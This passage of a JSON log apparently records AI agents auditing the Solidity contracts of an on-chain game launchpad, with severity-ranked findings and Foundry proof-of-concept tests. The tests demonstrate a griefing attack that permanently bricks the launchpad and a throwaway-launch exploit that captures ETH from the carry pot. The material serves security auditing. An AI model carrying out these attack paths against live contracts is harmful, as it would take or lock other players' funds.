carry"}],"hash":"cd1e730760a70695d3584d64f2f26c49a68b065ebeabfb75553f18b6e3165586","nodeId":"794aaf6b-3324-46ee-adeb-ad3057ea74a0","outcome":"completed","summary":"The review is complete and `.imd-findings.json` holds 5 findings plus a 38-row coverage record (all 35 listed entry points answered, plus 3 invariants). The existing 56-test suite passes; my scratch tests under `test/scratch/` confirmed each finding.\n\n**Findings, by severity**\n\n1. **Medium, genesis brick.** One free mint on the PvP game followed by 20 minutes without a roll marks genesis `failed`, and `genesisGraduated()` then returns false forever. Every launch, the king auction and the burn are dead with no recovery function. Demonstrated in `test/scratch/GenesisBrick.t.sol`.\n2. **Medium, atomic self-sandwich of protocol swaps.** The burn and the king's fee sale swap with extreme price limits and run inside the public `upkeep()`, so one transaction can buy, trigger the burn, and sell. Measured on the repo's mock pool: a 0.01 ETH front-run captured 59% of a 0.02 ETH burn chunk and cut PVP burned by 45%. Only profitable while the PvP pool is thin.\n3. **Low, stranded finalizer fee.** Games finalized by the upkeep inside `takeCrown` get caller `KingOfThePad`, which has no receive and no claim path. The 0.5% fee lands in an unclaimable `claimable` slot. Proof test attached.\n4. **Low, roll after the bell.** `roll()` checks `ended()` before resolving the Imp's own pending roll, so a roll whose resolution rings the bell is still recorded, buys tokens and later moves the ringer's height. Proof test attached.\n5. **Low, carry pot capture.** Free mints with no Sybil check let one actor launch, fill all 200 slots atomically, and take the whole carry plus king shares with six rolls. Reported as a design-level economic assumption with a concrete path.\n\n**Coverage.** All curve, pot, graduation and king math traced and found conserved. The hash-window boundary matches ArbSys exactly. I could not test against the real v4 PoolManager (no fork), so the graduation path's real-pool behavior rests on reading the code against v4 semantics.","treeHash":null,"usage":{"cachedInputTokens":2021701,"inputTokens":546,"model":"claude-fable-5-1","outputTokens":63562,"runtime":"claude","turns":33,"wallClockMs":1161057}},{"artifacts":[],"attempt":1,"bundleHash":"b06b2259b87c695064992b1b306654608a037c3ce50636ee4e27d6f316981133","device":"ea89e16822824c6f","findings":[{"description":"KingOfThePad.takeCrown ends with pad.upkeep(), and PvPPad._upkeep(msg.sender) passes the KingOfThePad contract itself as the upkeep caller. When that upkeep finalizes a due game, PadGame._finalize pays the 0.5% finalizer fee to KingOfThePad with a 30k-gas push. KingOfThePad has no receive/fallback, so the push fails and the fee is recorded in PadGame.claimable[KingOfThePad]. KingOfThePad has no function that calls PadGame.claim(), so that ETH can never be withdrawn by anyone. The bidder who paid for the finalizing transaction receives nothing, contrary to 'Finalizer gets 0.5% of the pot'. Bounded loss: up to 0.005 ETH per game finalized through this path, every time the pattern repeats (king changes are frequent by design). Fix options that keep the design: KingOfThePad.takeCrown should call pad.upkeepFor-style entry that forwards msg.sender as the fee recipient (e.g. make PvPPad.upkeep take an explicit caller, or let KingOfThePad be registered so upkeepFor accepts it), or give KingOfThePad a way to claim and forward.","line":89,"path":"src/KingOfThePad.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {PadToken} from \"src/PadToken.sol\";\nimport {PadGame} from \"src/PadGame.sol\";\nimport {PvPPad} from \"src/PvPPad.sol\";\nimport {PadLiquidity} from \"src/PadLiquidity.sol\";\nimport {KingOfThePad} from \"src/KingOfThePad.sol\";\nimport {\n    IPoolManager,\n    IUnlockCallback,\n    IERC20Min,\n    PoolKey,\n    ModifyLiquidityParams,\n    SwapParams\n} from \"src/interfaces/Interfaces.sol\";\nimport {PadLib} from \"src/libs/PadLib.sol\";\n\n/// Proof for: a game finalized by the upkeep that KingOfThePad.takeCrown triggers pays the finalizer\n/// fee to the KingOfThePad contract (msg.sender of pad.upkeep). KingOfThePad has no receive(), so the\n/// push fails and the fee becomes claimable[KingOfThePad] inside the game, which nothing can claim.\n/// Expected: the fee reaches the bidder (the account that paid for the finalizing transaction) or is\n/// at least recoverable. Actual: it is locked in the game forever.\ncontract ArbSysStub {\n    uint256 public number = 1000;\n\n    function advance(uint256 n) external {\n        number += n;\n    }\n\n    function arbBlockNumber() external view returns (uint256) {\n        return number;\n    }\n\n    function arbBlockHash(uint256 n) external view returns (bytes32) {\n        require(n < number && n + 256 >= number, \"invalid block number\");\n        return keccak256(abi.encode(\"arb\", n));\n    }\n}\n\ninterface IHookInit {\n    function beforeInitialize(address sender, PoolKey calldata key, uint160 sqrtPriceX96) external returns (bytes4);\n}\n\ncontract PMStub is IPoolManager {\n    uint256 internal constant Q96 = 1 << 96;\n    uint160 internal constant SQRT_MIN_FULL = 4_310_618_291;\n    uint160 internal constant SQRT_MAX_FULL = 1_456_195_216_270_955_103_182_949_462_556_801_019_286_893_565_306;\n\n    struct P {\n        bool init;\n        uint160 sqrtP;\n        uint256 r0;\n        uint256 r1;\n    }\n\n    mapping(bytes32 => P) public pools;\n    mapping(address => int256) public delta;\n    address public locker;\n    address public syncedToken;\n    uint256 public syncedBalance;\n\n    function unlock(bytes calldata data) external returns (bytes memory result) {\n        locker = msg.sender;\n        result = IUnlockCallback(msg.sender).unlockCallback(data);\n        locker = address(0);\n    }\n\n    function initialize(PoolKey memory key, uint160 sqrtPriceX96) external returns (int24) {\n        P storage p = pools[keccak256(abi.encode(key))];\n        require(!p.init, \"initialized\");\n        IHookInit(key.hooks).beforeInitialize(msg.sender, key, sqrtPriceX96);\n        p.init = true;\n        p.sqrtP = sqrtPriceX96;\n        return 0;\n    }\n\n    function modifyLiquidity(PoolKey memory key, ModifyLiquidityParams memory params, bytes calldata)\n        external\n        returns (int256 callerDelta, int256 feesAccrued)\n    {\n        P storage p = pools[keccak256(abi.encode(key))];\n        if (params.liquidityDelta > 0) {\n            uint256 l = uint256(params.liquidityDelta);\n            uint256 a0 = PadLib.mulDiv(l, PadLib.mulDiv(SQRT_MAX_FULL - p.sqrtP, Q96, SQRT_MAX_FULL), p.sqrtP) + 1;\n            uint256 a1 = PadLib.mulDiv(l, p.sqrtP - SQRT_MIN_FULL, Q96) + 1;\n            p.r0 += a0;\n            p.r1 += a1;\n            callerDelta = _pack(-int256(a0), -int256(a1));\n        }\n        feesAccrued = 0;\n    }\n\n    function swap(PoolKey memory, SwapParams memory, bytes calldata) external pure returns (int256) {\n        revert(\"no swap in stub\");\n    }\n\n    function sync(address currency) external {\n        syncedToken = currency;\n        syncedBalance = IERC20Min(currency).balanceOf(address(this));\n    }\n\n    function settle() external payable returns (uint256) {\n        return msg.value;\n    }\n\n    function take(address, address, uint256) external pure {}\n\n    function _pack(int256 a0, int256 a1) internal pure returns (int256 d) {\n        assembly (\"memory-safe\") {\n            d := or(shl(128, a0), and(a1, 0xffffffffffffffffffffffffffffffff))\n        }\n    }\n\n    receive() external payable {}\n}\n\ncontract Deployer {\n    PadToken public token;\n    PadGame public game;\n    PvPPad public pad;\n    PadLiquidity public liquidity;\n    KingOfThePad public king;\n\n    function deployAll(address owner, address poolManager) external {\n        token = new PadToken();\n        game = new PadGame();\n        pad = new PvPPad(owner, address(token), address(game));\n        liquidity = new PadLiquidity(poolManager, address(pad));\n        king = new KingOfThePad(address(pad), address(liquidity), owner);\n    }\n}\n\ncontract FinalizerFeeStuckTest is Test {\n    address constant OWNER = 0x5b95A971B4583A5f011E9DA082acdD679b870D06;\n    ArbSysStub arb;\n    PMStub pm;\n    PvPPad pad;\n    PadLiquidity liq;\n    KingOfThePad king;\n    PadGame pvp;\n    address[] players;\n\n    function setUp() public {\n        vm.warp(1_800_000_000);\n        ArbSysStub impl = new ArbSysStub();\n        vm.etch(address(0x64), address(impl).code);\n        arb = ArbSysStub(address(0x64));\n        pm = new PMStub();\n        Deployer d = new Deployer();\n        d.deployAll(OWNER, address(pm));\n        pad = d.pad();\n        liq = d.liquidity();\n        king = d.king();\n        pvp = PadGame(pad.gameOf(1));\n        for (uint256 i; i < 8; ++i) {\n            address p = address(uint160(0xA000 + i));\n            players.push(p);\n            vm.deal(p, 10 ether);\n        }\n        // open the pad with a mined salt\n        bytes32 h = liq.hookInitCodeHash();\n        bytes32 salt;\n        for (uint256 i; i < 300_000; ++i) {\n            address a = address(\n                uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(liq), bytes32(i), h))))\n            );\n            if (uint160(a) & 0x3FFF == 0x2000) {\n                salt = bytes32(i);\n                break;\n            }\n        }\n        vm.prank(OWNER);\n        pad.openPad(salt);\n    }\n\n    function advance(uint256 secs) internal {\n        vm.warp(vm.getBlockTimestamp() + secs);\n        arb.advance(secs * 4);\n    }\n\n    function playAndGraduate(PadGame g, uint256 n) internal {\n        for (uint256 i; i < n; ++i) {\n            vm.prank(players[i]);\n            g.mint();\n        }\n        advance(10 minutes);\n        for (uint256 i; i < n; ++i) {\n            vm.prank(players[i]);\n            g.roll{value: 0.002 ether}();\n        }\n        advance(60 minutes);\n        g.poke();\n        if (!g.finalized()) g.finalize();\n        if (!g.graduated()) g.graduate();\n    }\n\n    function test_finalizerFeeIsLockedInsideGameWhenTakeCrownFinalizes() public {\n        playAndGraduate(pvp, 2);\n        assertTrue(pad.genesisGraduated());\n\n        // launch #2, play it, let it end with a pot, but do not finalize it\n        uint256 id = pad.launch(\"Foo\", \"FOO\", \"\");\n        PadGame g = PadGame(pad.gameOf(id));\n        for (uint256 i; i < 3; ++i) {\n            vm.prank(players[i]);\n            g.mint();\n        }\n        advance(10 minutes);\n        for (uint256 i; i < 3; ++i) {\n            vm.prank(players[i]);\n            g.roll{value: 0.002 ether}();\n        }\n        advance(60 minutes);\n        assertTrue(g.ended());\n        assertFalse(g.finalized());\n        uint256 potBefore = g.pot();\n        uint256 expectedFee = potBefore * 50 / 10_000;\n        assertGt(expectedFee, 0);\n\n        // the bidder's takeCrown runs pad.upkeep(), which finalizes launch #2\n        address bidder = players[7];\n        uint256 bidderBefore = bidder.balance;\n        vm.prank(bidder);\n        king.takeCrown{value: 0.01 ether}();\n        assertTrue(g.finalized(), \"upkeep finalized the game\");\n\n        // Expected: the 0.5% finalizer fee reaches the bidder (or is recoverable by someone).\n        // Actual: it is credited to the KingOfThePad contract inside the game and can never be claimed.\n        assertEq(g.claimable(address(king)), 0, \"fee must not be stranded on the king contract\");\n        assertEq(bidder.balance, bidderBefore - 0.01 ether + expectedFee, \"bidder receives the finalizer fee\");\n    }\n}","reproduction":"Deploy all five contracts, open the pad, play PvP to graduation. Launch #2, mint 3 imps, roll once each, warp 60 minutes so the game has ended with pot > 0 but is not finalized. Bidder calls KingOfThePad.takeCrown{value: 0.01 ether}(). Expected: launch #2 finalized and the bidder's balance increases by pot*50/10000 (the finalizer fee). Actual: launch #2 is finalized, bidder receives nothing, and PadGame(launch2).claimable(address(KingOfThePad)) == pot*50/10000 (4,390,000,000,000 wei in the proof run) with no path to claim it.","severity":"medium","title":"Finalizer fee is stranded on the KingOfThePad contract when takeCrown's upkeep finalizes a game"},{"description":"roll() checks !ended() before resolving the imp's previous pending roll. If that resolution reaches +/-50 it sets bellAt = now, ending the game, but the function continues: it charges 0.002 ETH, buys on the curve, records a new pending roll and bumps maxActivity, all after the game has ended. The post-bell roll is later resolved and can move the bell ringer away from +/-50, changing the final ranking after the end. Suggested fix: re-check ended() after _resolveRoll(imp.pendingRoll - 1) and revert with 'game over', or resolve the previous roll before the ended() check.","line":149,"path":"src/PadGame.sol","reproduction":"Imp A at height 49 has a pending roll whose outcome is positive (deterministic from the three post-commit ArbSys hashes). 60 seconds later, with commit+4 blocks mined, A calls roll(). Expected: the previous roll resolves to 50, the bell rings, and the new roll is refused (game over). Actual: the bell rings and the new roll is still charged and recorded (rollCount increases by one, pendingCount is 1, pot and ethRaised grow) in a game whose ended() is already true.","severity":"low","title":"A roll is accepted after the roller's own pending roll rings the bell inside the same call"},{"description":"_finalize insertion-sorts living imps with storage reads and pushes up to 100 payments. Measured in test_finalizeWithTwoHundredLivingImpsWorstCaseOrderFitsInBlock: 21,799,398 gas with 200 living imps in adversarial order. It fits an Arbitrum-stack block (32M) but far exceeds the gas an ordinary mint/roll/takeCrown carries, so the try/catch in PvPPad._tend swallows the out-of-gas and the game stays unfinalized (and ungraduated, so no pool, no unlock) until someone calls finalize() directly with >22M gas. Not a loss of funds, but the 'every state-changing call does bounded upkeep' promise does not hold for large games, and callers of other games pay for the failed attempt on every call until it is done.","line":384,"path":"src/PadGame.sol","reproduction":"200 imps mint, all roll once, bell rings, heights set so each imp outranks all earlier ones (|h| ascending, heightReachedAt descending). finalize() measured at 21,799,398 gas. A roll on another game with a 2M gas limit does not finalize it (upkeep OOG is caught).","severity":"low","title":"Worst-case finalization of a 200-imp game needs about 21.8M gas, so upkeep-driven finalization silently fails and the game waits for a direct finalize() with a high gas limit"},{"description":"heightReachedAt is written when a roll is resolved, not when it was committed. Resolution is permissionless and out-of-order (an imp's own roll() resolves its previous roll ahead of the FIFO batch), so a player whose roll was committed later can obtain the earlier heightReachedAt by resolving first. Two imps resolved in the same second tie exactly and the insertion sort then favours the lower imp index (earlier minter). The brief says earlier heightReachedAt wins ties; with resolution-time stamps that ordering is partly chosen by the resolver. Suggested fix: stamp with the roll's commit block (ArbSys block number) or the commit timestamp instead of the resolution timestamp.","line":373,"path":"src/PadGame.sol","reproduction":"Imps A (index 1) and B (index 0) both have pending rolls that will land on +30, B committed first. A calls roll(): its own pending roll resolves first (heightReachedAt = now), then the batch resolves B's (also now). Equal timestamps: the sort places B (lower index) first. If instead A's resolution happened in an earlier second than B's, A ranks first despite committing later.","severity":"low","title":"Tie-break timestamp is set at resolution time, so rank among equal heights depends on who resolves first and falls back to imp index within one second"},{"description":"upkeepStep checks `locked` but does not set it, so while _finalize pays winners inside upkeep, a receiving contract could call graduate()/claim() on the same game with the guard free. Today the 30,000-gas push makes that call fail (an SSTORE alone exhausts it, as test_reentrantWinnerIsRefusedAndMadeClaimable shows), so no exploit exists, but the safety depends on a gas constant rather than the guard. Setting locked inside upkeepStep would make it structural.","line":199,"path":"src/PadGame.sol","reproduction":"Not exploitable with PUSH_GAS = 30_000; documented for the maintainers.","severity":"info","title":"upkeepStep is not reentrancy-guarded and relies only on the 30k-gas push cap"}],"hash":"ebaa25d45eaff72b7447d23d8857923047aadc53a70d22ccc204ca025821a446","nodeId":"52e154fc-8f1e-40b4-9888-181561d78559","outcome":"completed","summary":"Done. The suite now has 98 passing tests under the verifier's seed, including a handler-driven invariant suite, and one real defect is reported with a runnable proof.\n\n**What I added (all under `test/`)**\n\n- `test/Adversarial.t.sol` (33 tests): constructor zero checks, unbound pad, double-binding, id-zero views, hook address with extra flag bits rejected, exact 30-day deadline, failed genesis locking launch, king and burn forever, sold-out curve sending the whole roll to the pot, the last partial curve buy closing at exactly 4 ETH, hash-window boundary at commit+257 versus +258, expired roll at height zero, idempotent resolution, negative-cap bell, no-bell payout with dust to carry, bell ringer outside the top half still paid, single survivor, fundPot refused after finalize, reentrant winner, king and distribute receivers refused and made claimable, equal split when all pots are empty, the last-ten-launches window, same-king rebid, round-robin distribution across two pools, lock exemption for PadLiquidity, and events for open, launch, mint, crown and finalize.\n- `test/Fuzz.t.sol` (8 property tests, 64 to 1000 runs each): curve quotes never undercharge or oversell from any curve state, monotone in ETH, roll split conserves every wei for genesis and non-genesis games, first bid and challenge splits to the wei, challenge rejections below 110% or inside the hold, and the triangular payout for 1 to 11 living imps.\n- `test/Invariants.t.sol`: a handler with eight actors (six EOAs, the dev, one ETH-rejecting contract) driving mint, roll, time and L2-block advances, poke, finalize, graduate, claims, pot and carry funding, crown bids, launches, distribution, burns, simulated pool fees and token transfers. Invariants: each game, PadLiquidity, KingOfThePad and PvPPad hold exactly what they owe; system ETH is conserved; token supply fixed and fully accounted; tokens unlock only on successful graduation; constant product never below K; imp, height and roll bounds; finalized implies ended with no pending rolls; ended games never reopen; launches and king gated on genesis.\n\n**Findings reported in `.imd-findings.json`** (five entries)\n\n- Medium: when a bid's upkeep finalizes a game, the finalizer fee is pushed to the KingOfThePad contract, which has no receive function and no claim path, so it is stranded forever. Proof test included; it fails on the current code with 4.39e12 wei stuck.\n- Low: a roll is still charged and recorded after the roller's own pending roll rings the bell inside the same call.\n- Low: worst-case 200-imp finalization measured at 21.8M gas, so upkeep-driven finalization silently fails and needs a direct high-gas call.\n- Low: the tie-break timestamp is set at resolution time, so ordering among equal heights depends on who resolves first.\n- Info: upkeepStep relies on the 30k push gas cap rather than the guard.\n\n**Not done, and why:** docs and README are outside my allowed paths, so the test report was not updated. No fork run against the real PoolManager was possible offline; the mock stands in for it.","treeHash":"f3cb287e2296ebeb992874d5e61d2652768b303e","usage":{"cachedInputTokens":2597735,"inputTokens":610,"model":"claude-fable-5-1","outputTokens":88647,"runtime":"claude","turns":35,"wallClockMs":1676370}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"743b05d8a235188d","findings":[{"citation":"resolved","description":"launch() (PvPPad.sol:102), KingOfThePad.takeCrown() (KingOfThePad.sol:57) and PadLiquidity.burnChunk() (poolIndexOf[1], PadLiquidity.sol:213) are all gated on genesisGraduated(), which is false forever once the genesis game is marked failed. PadGame._graduate (PadGame.sol:453-457) marks any game failed when ethRaised == 0, and nothing can create a second genesis: startGenesis is one-shot (king != 0) and launch() needs genesisGraduated(). The genesis game's first mint is free and permissionless the moment openPad() lands (PadGame.sol:120-127), so an unprivileged wallet chooses when the 10-minute signup starts; if nobody pays 0.002 ETH for a roll in the following 10 minutes of play, endTime() = playStart + DEATH, every Imp is dead, pot = 0, and permissionless poke()/finalize()/graduate() set failed = true. From then on the whole five-contract deployment is unusable with no owner or anyone action that can reopen it. docs/AUDIT.md item 4 accepts this assuming the owner controls when PvP is played; it does not cover a third party starting the clock (e.g. seconds after openPad, or after the 30-day permissionless open). Reported by all four specialists (economics, flow, math, permissions); merged. Severity high: permanent breakage of the product at zero cost to the griefer. Fix that keeps the brief: when a game ends with ethRaised == 0 reset it to the waiting state (clear firstMintAt/maxActivity/imps/impOf) so a new signup can start, or let PvPPad recreate launch #1 when launches[0] failed.","line":206,"path":"src/PvPPad.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {PadToken} from \"src/PadToken.sol\";\nimport {PadGame} from \"src/PadGame.sol\";\nimport {PvPPad} from \"src/PvPPad.sol\";\nimport {PadLiquidity} from \"src/PadLiquidity.sol\";\nimport {KingOfThePad} from \"src/KingOfThePad.sol\";\n\n/// @notice A stranger's free Imp mint on the genesis game, followed by 20 minutes without a roll,\n/// marks PvP failed and closes the pad forever: launch() and takeCrown() revert permanently.\n/// Fails on the current code (launch reverts \"genesis not graduated\" forever); passes once a failed\n/// genesis no longer locks the pad permanently (restartable genesis, or gating that tolerates failure).\ncontract GenesisGriefTest is Test {\n    address constant OWNER = 0x5b95A971B4583A5f011E9DA082acdD679b870D06;\n    address constant POOL_MANAGER = 0x8366a39CC670B4001A1121B8F6A443A643e40951;\n    address constant STRANGER = address(0xBAD);\n\n    PvPPad pad;\n    PadLiquidity liq;\n    KingOfThePad king;\n    PadGame pvp;\n\n    function setUp() public {\n        vm.warp(1_800_000_000);\n        PadToken tokenT = new PadToken();\n        PadGame gameT = new PadGame();\n        pad = new PvPPad(OWNER, address(tokenT), address(gameT));\n        liq = new PadLiquidity(POOL_MANAGER, address(pad));\n        king = new KingOfThePad(address(pad), address(liq), OWNER);\n        pvp = PadGame(pad.gameOf(1));\n\n        bytes32 salt = mineSalt();\n        vm.prank(OWNER);\n        pad.openPad(salt);\n    }\n\n    function mineSalt() internal view returns (bytes32 salt) {\n        bytes32 h = liq.hookInitCodeHash();\n        address d = address(liq);\n        bytes memory buf = abi.encodePacked(bytes1(0xff), d, bytes32(0), h);\n        for (uint256 i; i < 300_000; ++i) {\n            uint256 a;\n            assembly (\"memory-safe\") {\n                mstore(add(buf, 53), i)\n                a := and(keccak256(add(buf, 32), 85), 0xffffffffffffffffffffffffffffffffffffffff)\n            }\n            if (a & 0x3FFF == 0x2000) return bytes32(i);\n        }\n        revert(\"no salt\");\n    }\n\n    function test_strangerMintThenSilenceBricksPadForever() public {\n        // 1. Any wallet mints one free Imp on the genesis game: the 10-minute signup starts.\n        vm.prank(STRANGER);\n        pvp.mint();\n\n        // 2. Nobody rolls for 20 minutes (10 min signup + 10 min death): all dead, no ETH raised.\n        vm.warp(vm.getBlockTimestamp() + 20 minutes);\n        assertTrue(pvp.ended(), \"ended\");\n\n        // 3. Permissionless finalize + graduate mark the genesis launch failed.\n        pvp.poke(); // finalizes (living == 0)\n        pvp.poke(); // graduates -> failed (ethRaised == 0)\n        assertTrue(pvp.failed(), \"genesis failed\");\n        assertFalse(pad.genesisGraduated(), \"never graduates\");\n\n        // 4. The pad is now closed forever: no launch, no king, no path to recover.\n        vm.deal(address(this), 1 ether);\n        vm.expectRevert(bytes(\"king not open\"));\n        king.takeCrown{value: 0.01 ether}();\n\n        // Expected: the pad must still be usable after a griefed genesis. Actual: reverts forever.\n        vm.warp(vm.getBlockTimestamp() + 365 days);\n        pad.launch(\"Next\", \"NXT\", \"\");\n        assertGt(pad.launchCount(), 1, \"pad usable after genesis failure\");\n    }\n\n    receive() external payable {}\n}","reproduction":"State: five contracts deployed, owner called openPad(minedSalt). (1) vm.prank(0xBAD); PadGame(pad.gameOf(1)).mint() -> firstMintAt set. (2) warp +20 minutes, no roll() by anyone. (3) pvp.poke() twice: first _finalize (ended(), living 0, pot 0), second _graduate: ethRaised == 0 -> failed = true, 1e27 PVP to dEaD. (4) pad.genesisGraduated() == false; pad.launch(\"Next\",\"NXT\",\"\") reverts 'genesis not graduated'; king.takeCrown{value: 0.01 ether}() reverts 'king not open'; after +365 days the same calls still revert and launchCount() stays 1. Expected: a game nobody played returns to waiting or the pad can restart genesis. Actual: permanent closure. Ran the attached proof: forge test --match-path test/scratch/Proof_c57974535d35.t.sol fails with 'genesis not graduated'.","severity":"high","snippet":"        return g.graduated() && !g.failed();","title":"Any wallet's free genesis mint plus 20 minutes of silence marks PvP failed and closes the pad forever (launch, king, burn)"},{"citation":"resolved","description":"PvPPad._create moves the whole accumulated carryPot into the pot of the next launch unconditionally (lines 122-127) and launch() is permissionless after PvP graduates (line 97-108). The carry pot is fed often: PadGame._finalize sends the entire pot to fundCarry whenever no Imp is living at the end (PadGame.sol:411-412), and because an inactivity end is maxActivity + DEATH the last roller is always dead at that instant (PadGame.sol:393: lastRoll + DEATH <= end), so every game that ends by inactivity rather than bell or hard end carries its whole pot; KingOfThePad.takeCrown adds 50% of every extra to the carry when no game with >= 5 Imps is live (PvPPad.sol:154-157). A single wallet then calls launch() (atomically after the finalize that filled the carry, if it likes), mints the only Imp (free, no EOA check), rolls once every 599 s to stay alive to the 60-minute hard end, and is paid the whole pot as rank 1 of 1 plus the finalizer fee. Cost ~0.012 ETH of rolls, 90% of which returns as its own tokens. Variant (economics specialist): a contract launches and has 200 helper contracts mint in the same transaction, filling all 200 slots so nobody else can join the game holding the carry. Merged from audit_flow (high) and audit_economics (low); the 'last 10 launches' window of fundGames (PvPPad.sol:141) amplifies it because ten junk launches push every real live game out of the window and force the king share into the carry first. Severity high: ETH contributed by other players and the king is paid to an unprivileged actor. Fix that keeps the design: hold the carry in PvPPad and release it only once the game has >= N distinct rolling wallets (return it to the carry if the game ends with no living Imp), or spread it like fundGames across several games, never 100% to one.","line":125,"path":"src/PvPPad.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {PadToken} from \"src/PadToken.sol\";\nimport {PadGame} from \"src/PadGame.sol\";\nimport {PvPPad} from \"src/PvPPad.sol\";\nimport {PadLiquidity} from \"src/PadLiquidity.sol\";\nimport {KingOfThePad} from \"src/KingOfThePad.sol\";\nimport {IUnlockCallback, PoolKey, ModifyLiquidityParams, SwapParams} from \"src/interfaces/Interfaces.sol\";\n\n/// ArbSys stand-in at 0x64: block number set by the test, hashes served inside the 256-block window.\ncontract ArbSysStub {\n    uint256 public number = 1000;\n\n    function advance(uint256 n) external {\n        number += n;\n    }\n\n    function arbBlockNumber() external view returns (uint256) {\n        return number;\n    }\n\n    function arbBlockHash(uint256 n) external view returns (bytes32) {\n        require(n < number && n + 256 >= number, \"invalid block number\");\n        return keccak256(abi.encode(\"arb\", n));\n    }\n}\n\ninterface IHookInit {\n    function beforeInitialize(address sender, PoolKey calldata key, uint160 sqrtPriceX96) external returns (bytes4);\n}\n\n/// Minimal PoolManager stand-in: enough for one graduation (initialize through the hook, unlock,\n/// a 1 wei / 1 wei liquidity delta, settle). Swaps revert; upkeep wraps them in try/catch.\ncontract PoolManagerStub {\n    function unlock(bytes calldata data) external returns (bytes memory) {\n        return IUnlockCallback(msg.sender).unlockCallback(data);\n    }\n\n    function initialize(PoolKey memory key, uint160 sqrtPriceX96) external returns (int24) {\n        if (key.hooks != address(0)) {\n            require(\n                IHookInit(key.hooks).beforeInitialize(msg.sender, key, sqrtPriceX96) == IHookInit.beforeInitialize.selector,\n                \"hook\"\n            );\n        }\n        return 0;\n    }\n\n    function modifyLiquidity(PoolKey memory, ModifyLiquidityParams memory p, bytes calldata)\n        external\n        pure\n        returns (int256 callerDelta, int256 feesAccrued)\n    {\n        if (p.liquidityDelta > 0) callerDelta = -1; // amount0 = -1, amount1 = -1\n        feesAccrued = 0;\n    }\n\n    function swap(PoolKey memory, SwapParams memory, bytes calldata) external pure returns (int256) {\n        revert(\"no swap in stub\");\n    }\n\n    function sync(address) external {}\n\n    function settle() external payable returns (uint256) {\n        return msg.value;\n    }\n\n    function take(address, address, uint256) external {}\n\n    receive() external payable {}\n}\n\n/// The carry pot (king extras with no live game, dead-game pots, dust) is handed in full to whichever\n/// launch comes next. launch() is permissionless, so a single wallet launches a throwaway token, plays\n/// alone to the 60-minute end and is paid the whole carry pot as rank 1.\ncontract CarryPotCaptureTest is Test {\n    address constant OWNER = 0x5b95A971B4583A5f011E9DA082acdD679b870D06;\n    ArbSysStub arb;\n    PoolManagerStub pm;\n    PvPPad pad;\n    PadLiquidity liq;\n    KingOfThePad king;\n    PadGame pvp;\n\n    address honest = address(0xA001);\n    address bidder = address(0xA002);\n    address attacker = address(0xA003);\n\n    function setUp() public {\n        vm.warp(1_800_000_000);\n        ArbSysStub impl = new ArbSysStub();\n        vm.etch(address(0x64), address(impl).code);\n        arb = ArbSysStub(address(0x64));\n        pm = new PoolManagerStub();\n        PadToken tokenTemplate = new PadToken();\n        PadGame gameTemplate = new PadGame();\n        pad = new PvPPad(OWNER, address(tokenTemplate), address(gameTemplate));\n        liq = new PadLiquidity(address(pm), address(pad));\n        king = new KingOfThePad(address(pad), address(liq), OWNER);\n        pvp = PadGame(pad.gameOf(1));\n        vm.deal(honest, 10 ether);\n        vm.deal(bidder, 10 ether);\n        vm.deal(attacker, 1 ether);\n\n        // open the pad with a salt whose hook address carries exactly the beforeInitialize flag\n        bytes32 h = liq.hookInitCodeHash();\n        bytes32 salt;\n        bool found;\n        for (uint256 i; i < 500_000; ++i) {\n            address a = address(\n                uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(liq), bytes32(i), h))))\n            );\n            if (uint160(a) & 0x3FFF == 0x2000) {\n                salt = bytes32(i);\n                found = true;\n                break;\n            }\n        }\n        require(found, \"no salt\");\n        vm.prank(OWNER);\n        pad.openPad(salt);\n\n        // genesis: one honest roll, then inactivity -> ends, finalizes, graduates\n        vm.prank(honest);\n        pvp.mint();\n        advance(10 minutes);\n        vm.prank(honest);\n        pvp.roll{value: 0.002 ether}();\n        advance(60 minutes);\n        pvp.poke(); // resolve + finalize\n        pvp.poke(); // graduate\n        assertTrue(pad.genesisGraduated(), \"genesis graduated\");\n    }\n\n    function advance(uint256 secs) internal {\n        vm.warp(vm.getBlockTimestamp() + secs);\n        arb.advance(secs * 4);\n    }\n\n    function test_soloLaunchCapturesCarryPot() public {\n        // A king bid while no game is live: 50% of the bid goes to the carry pot.\n        vm.prank(bidder);\n        king.takeCrown{value: 1 ether}();\n        uint256 carry = pad.carryPot();\n        assertGe(carry, 0.5 ether, \"carry pot holds the king's games share\");\n\n        uint256 start = attacker.balance;\n        vm.prank(attacker);\n        uint256 id = pad.launch(\"junk\", \"JUNK\", \"\");\n        PadGame g = PadGame(pad.gameOf(id));\n        assertEq(g.pot(), carry, \"whole carry pot moved into the attacker's launch\");\n\n        vm.prank(attacker);\n        g.mint();\n        advance(10 minutes); // play starts\n        // stay alive until the 60-minute hard end: one roll every 599 s\n        for (uint256 i; i < 6; ++i) {\n            vm.prank(attacker);\n            g.roll{value: 0.002 ether}();\n            advance(599);\n        }\n        while (!g.ended()) advance(60);\n        advance(5);\n        vm.prank(attacker);\n        g.finalize();\n        assertEq(g.livingAtEnd(), 1);\n        assertEq(g.paidAtEnd(), 1);\n\n        // Expected: a throwaway solo launch must not profit from ETH other players and the king put in.\n        // Actual: the attacker walks away with the carry pot minus six rolls.\n        assertLe(attacker.balance, start, \"sybil launcher must not profit from the carry pot\");\n    }\n}","reproduction":"State: pad open, PvP graduated, carryPot = 0.5 ETH (a bidder called king.takeCrown{value: 1 ether}() with no live game). Attacker with 1 ETH: pad.launch(\"junk\",\"JUNK\",\"\") -> PadGame(gameOf(2)).pot() == 0.5 ETH immediately; g.mint(); warp +600 s; six times g.roll{value: 0.002 ether}() then warp +599 s; warp past hardEnd(); +4 L2 blocks; g.finalize(). Expected: a solo throwaway launch cannot profit from ETH other players and the king put in. Actual: livingAtEnd == 1, paidAtEnd == 1, attacker balance 1.489159 ETH (started with 1 ETH). Ran the attached proof: forge test --match-path test/scratch/Proof_4a193617849f.t.sol fails with 'sybil launcher must not profit from the carry pot: 1489159000000000000 > 1000000000000000000'.","severity":"high","snippet":"            IPadGame(game).fundPot{value: carry}();","title":"Carry pot is paid in full to whoever calls launch() next; a solo throwaway launch (or 200 sybil mints) captures ETH other players 